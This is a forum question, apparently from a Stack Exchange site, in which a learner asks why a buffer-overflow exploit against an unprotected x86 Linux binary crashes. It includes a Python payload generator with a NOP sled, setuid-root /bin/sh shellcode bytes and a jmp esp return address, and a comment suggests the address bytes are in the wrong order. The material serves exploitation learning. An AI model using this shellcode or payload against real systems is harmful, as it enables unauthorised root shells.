3

I am writing an exploit for an x86 binary on Linux and I'm learning exploitation.

The binary has no protections and the stack is also executable.

It has a buffer overflow when it uses memcpy() function and I am able to successfully control the value at ESP when returning from the function.

I generate my input as shown below:

#! /usr/bin/python

nopsled = '\x90' * 256
shellcode = '\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
data = nopsled + shellcode + 'A' * (0x20c - 256 - 32) + '\xa1\x85\x48\x80' + shellcode
print data

\xa1\x85\x48\x80 is corresponding to the address of jmp esp instruction which I found in the binary.

Now, when I remote debug the binary using IDA Pro, I can see that ESP was successfully written with address of jmp esp and the shellcode is right after esp.

So, I was expecting the code execution to transfer to the shellcode when I step over return. Instead the program crashes.

I check the memory segment in IDA pro and the stack is executable. The address, 0x804885a1 is in the .text section and it should be executable as well.

I would really appreciate some help and I will sincerely learn.

I have attached a screenshot of the state of stack, memory and disassembly.

enter image description here

Neon Flash
  • 929
  • 2
  • 11
  • 17
  • 1
    Maybe I’m misreading, but your payload (and the value at %esp) is set to 0x80xxxxxx. Didn’t you intend for it to have 0x08xxxxxx? – adam Jun 04 '22 at 18:00

0 Answers0